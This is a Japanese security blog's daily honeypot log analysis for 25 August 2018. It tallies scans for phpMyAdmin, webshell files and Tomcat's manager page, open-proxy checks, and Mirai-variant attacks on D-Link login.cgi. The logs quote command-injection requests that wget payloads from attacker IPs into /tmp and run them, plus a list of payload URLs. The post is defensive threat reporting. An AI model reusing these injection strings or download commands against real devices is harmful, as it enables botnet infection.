S-Owl

S(ecurity)Owl

ハニーポットのログ分析(2018/08/25)

WOWhoneypotの2018/08/25(土) (運用83日目)の簡易分析です。
本日の総アクセス件数は 672件です。以下が全アクセスログです。

139 2018-08-25 GET /manager/html
26 2018-08-25 GET /
12 2018-08-25 POST /qq.php
12 2018-08-25 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://209.141.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$
8 2018-08-25 POST /qaq.php
6 2018-08-25 POST /xx.php
6 2018-08-25 POST /q.php
6 2018-08-25 GET /www/phpMyAdmin/index.php
6 2018-08-25 GET /web/phpMyAdmin/index.php
6 2018-08-25 GET /tools/phpMyAdmin/index.php
6 2018-08-25 GET /shell.php
6 2018-08-25 GET /phpMyAdmin/phpMyAdmin/index.php
6 2018-08-25 GET /phpMyAdmin/index.php
6 2018-08-25 GET /cmd.php
6 2018-08-25 GET /admin/phpMyAdmin/index.php
5 2018-08-25 GET /claroline/phpMyAdmin/index.php
4 2018-08-25 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://176.32.32.156/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$
3 2018-08-25 PROPFIND /
3 2018-08-25 POST /zuoshou.php
3 2018-08-25 POST /zuo.php
3 2018-08-25 POST /yumo.php
3 2018-08-25 POST /yao.php
3 2018-08-25 POST /xw.php
3 2018-08-25 POST /xw1.php
3 2018-08-25 POST /xiao.php
3 2018-08-25 POST /xiaomar.php
3 2018-08-25 POST /xiaoma.php
3 2018-08-25 POST /wuwu11.php
3 2018-08-25 POST /wshell.php
3 2018-08-25 POST /w.php
3 2018-08-25 POST /wp-admins.php
3 2018-08-25 POST /webslee.php
3 2018-08-25 POST /wc.php
3 2018-08-25 POST /wan.php
3 2018-08-25 POST /wanan.php
3 2018-08-25 POST /system.php
3 2018-08-25 POST /ssaa.php
3 2018-08-25 POST /s.php
3 2018-08-25 POST /sheep.php
3 2018-08-25 POST /qwe.php
3 2018-08-25 POST /post.php
3 2018-08-25 POST /phpStudy.php
3 2018-08-25 POST /phpstudy.php
3 2018-08-25 POST /phpinfi.php
3 2018-08-25 POST /pe.php
3 2018-08-25 POST /mz.php
3 2018-08-25 POST /mx.php
3 2018-08-25 POST /m.php?pbid=open
3 2018-08-25 POST /min.php
3 2018-08-25 POST /log.php
3 2018-08-25 POST /l7.php
3 2018-08-25 POST /ip.php
3 2018-08-25 POST /infoo.php
3 2018-08-25 POST /hm.php
3 2018-08-25 POST /hh.php
3 2018-08-25 POST /h1.php
3 2018-08-25 POST /feixiang.php
3 2018-08-25 POST /fack.php
3 2018-08-25 POST /defect.php
3 2018-08-25 POST /db.init.php
3 2018-08-25 POST /db__.init.php
3 2018-08-25 POST /db_desql.php
3 2018-08-25 POST /db_dataml.php
3 2018-08-25 POST /data.php
3 2018-08-25 POST /conflg.php
3 2018-08-25 POST /cmd.php
3 2018-08-25 POST /cainiao.php
3 2018-08-25 POST /bak.php
3 2018-08-25 POST /aw.php
3 2018-08-25 POST /aotu.php
3 2018-08-25 POST /ak.php
3 2018-08-25 POST /ak47.php
3 2018-08-25 POST /aaaa.php
3 2018-08-25 POST /9678.php
3 2018-08-25 POST /9510.php
3 2018-08-25 POST /56.php
3 2018-08-25 POST /3.php
3 2018-08-25 POST /12.php
3 2018-08-25 POST /1213.php
3 2018-08-25 GET /z.php
3 2018-08-25 GET /x.php
3 2018-08-25 GET /xampp/phpmyadmin/index.php
3 2018-08-25 GET /wp-config.php
3 2018-08-25 GET /webdav/
3 2018-08-25 GET /uploader.php
3 2018-08-25 GET /typo3/phpmyadmin/index.php
3 2018-08-25 GET /text.php
3 2018-08-25 GET /test.php
3 2018-08-25 GET /_query.php
3 2018-08-25 GET /pmd_online.php
3 2018-08-25 GET /pma-old/index.php
3 2018-08-25 GET /pmamy2/index.php
3 2018-08-25 GET /PMA/index.php
3 2018-08-25 GET /PMA2/index.php
3 2018-08-25 GET /phpmyadmin/phpmyadmin/index.php
3 2018-08-25 GET /phpMyAdminold/index.php
3 2018-08-25 GET /phpMyAdmin.old/index.php
3 2018-08-25 GET /phpmyadmin-old/index.php
3 2018-08-25 GET /phpmyadmin/index.php
3 2018-08-25 GET /phpMyadmin_bak/index.php
3 2018-08-25 GET /phpmyadmin2/index.php
3 2018-08-25 GET /phpmyadmin0/index.php
3 2018-08-25 GET /phpma/index.php
3 2018-08-25 GET /phpadmin/index.php
3 2018-08-25 GET /mysql/index.php
3 2018-08-25 GET /mysqladmin/index.php
3 2018-08-25 GET /mysql-admin/index.php
3 2018-08-25 GET /myadmin/index.php
3 2018-08-25 GET /muhstiks.php
3 2018-08-25 GET /muhstik-dpr.php
3 2018-08-25 GET /muhstik2.php
3 2018-08-25 GET /lol.php
3 2018-08-25 GET /logon.php
3 2018-08-25 GET /license.php
3 2018-08-25 GET /lala.php
3 2018-08-25 GET /lala-dpr.php
3 2018-08-25 GET /knal.php
3 2018-08-25 GET /java.php
3 2018-08-25 GET /index.php
3 2018-08-25 GET /help.php
3 2018-08-25 GET /help-e.php
3 2018-08-25 GET /hell.php
3 2018-08-25 GET /desktop.ini.php
3 2018-08-25 GET /db_pma.php
3 2018-08-25 GET /db/index.php
3 2018-08-25 GET /db_cts.php
3 2018-08-25 GET /cmx.php
3 2018-08-25 GET /cmv.php
3 2018-08-25 GET /cmdd.php
3 2018-08-25 GET /appserv.php
3 2018-08-25 GET /admin/PMA/index.php
3 2018-08-25 GET /admin/phpmyadmin/index.php
3 2018-08-25 GET /admin/phpmyadmin2/index.php
3 2018-08-25 GET /admin/mysql/index.php
3 2018-08-25 GET /admin/mysql2/index.php
3 2018-08-25 GET /admin/index.php
2 2018-08-25 POST /xshell.php
2 2018-08-25 POST /xiaomae.php
2 2018-08-25 POST /weixiao.php
2 2018-08-25 POST /test.php
2 2018-08-25 POST /lindex.php
2 2018-08-25 POST /l8.php
2 2018-08-25 POST /db_session.init.php
2 2018-08-25 POST /angge.php
2 2018-08-25 POST /ak48.php
2 2018-08-25 HEAD /
2 2018-08-25 GET /wpo.php
2 2018-08-25 GET /pmd/index.php
2 2018-08-25 GET /pmamy/index.php
2 2018-08-25 GET /pma/index.php
2 2018-08-25 GET /phpmyadmin1/index.php
2 2018-08-25 GET /myadmin2/index.php
2 2018-08-25 GET /muhstik.php
2 2018-08-25 GET /log.php
2 2018-08-25 GET /dbadmin/index.php
2 2018-08-25 GET /admin/pma/index.php
1 2018-08-25 POST /
1 2018-08-25 GET //manager/html
1 2018-08-25 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://77.81.226.28/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$
1 2018-08-25 GET hxxp://www.ip.cn/
1 2018-08-25 GET hxxp://www.123cha.com/
1 2018-08-25 GET hxxp://112.35.66.7:10083/index.php
1 2018-08-25 GET hxxp://112.35.53.83:10083/index.php
1 2018-08-25 CONNECT www.baidu.com:443
1 2018-08-25 CONNECT cn.bing.com:443 

 

phpMyAdmin関連(141件)とphp(WebShell設置)の調査(333件)と/へのアクセスを除外したアクセス数です。

139 2018-08-25 GET /manager/html
12 2018-08-25 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://209.141.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$
4 2018-08-25 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://176.32.32.156/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$
3 2018-08-25 GET /webdav/
1 2018-08-25 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://77.81.226.28/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$
1 2018-08-25 GET hxxp://www.ip[.]cn/
1 2018-08-25 GET hxxp://www.123cha.[c]om/
1 2018-08-25 GET hxxp://112.35.66[.]7:10083/index.php
1 2018-08-25 GET hxxp://112.35.53[.]83:10083/index.php
1 2018-08-25 CONNECT www.baidu[.]com:443
1 2018-08-25 CONNECT cn.bing[.]com:443 

 本日多かったのは、Tomcatの管理ページへのブルートフォース攻撃です。
その他ではD-Linkの脆弱性攻撃するMirai亜種の攻撃(/login.cgi)が3種類。Shinka/1.0が12件、Hakai/2.0が5件です。観測する攻撃数に波があり、今は増加傾向にあるのがきになります。
それ以外に、アクセスパスにhttpから入れるものやCONNECTメソッドを使う、6件の不正中継の調査行為がきています。ログから判断するにProxyとして動作するホストを探しているものと思われます。

GET hxxp://www.123cha[.]com/ HTTP/1.1
Host: www.123cha[.]com
Proxy-Authorization: Basic Og==
Proxy-Connection: Keep-Alive
Cache-Control: max-age=0
Connection: keep-alive
Accept-Language: zh-CN,zh;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0

GET hxxp://www.ip[.]cn/ HTTP/1.1
Host: www.ip[.]cn
Proxy-Authorization: Basic Og==
Proxy-Connection: Keep-Alive
Cache-Control: max-age=0
Connection: keep-alive
Accept-Language: zh-CN,zh;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36

CONNECT www.baidu[.]com:443 HTTP/1.1
Host: www.baidu[.]com:443
Proxy-Authorization: Basic Og==
User-Agent: PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3
Proxy-Connection: Keep-Alive
CONNECT cn.bing[.]com:443 HTTP/1.1
Host: cn.bing[.]com:443
Proxy-Authorization: Basic Og==
User-Agent: PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3
Proxy-Connection: Keep-Alive

 

本日のハンティングログは以下です。全てMirai亜種です。

12 2018-08-25 wget hxxp://209.141.33[.]86/d
4 2018-08-25 wget hxxp://176.32.32[.]156/bin
1 2018-08-25 wget hxxp://77.81.226[.]28/bin 

 

以上です。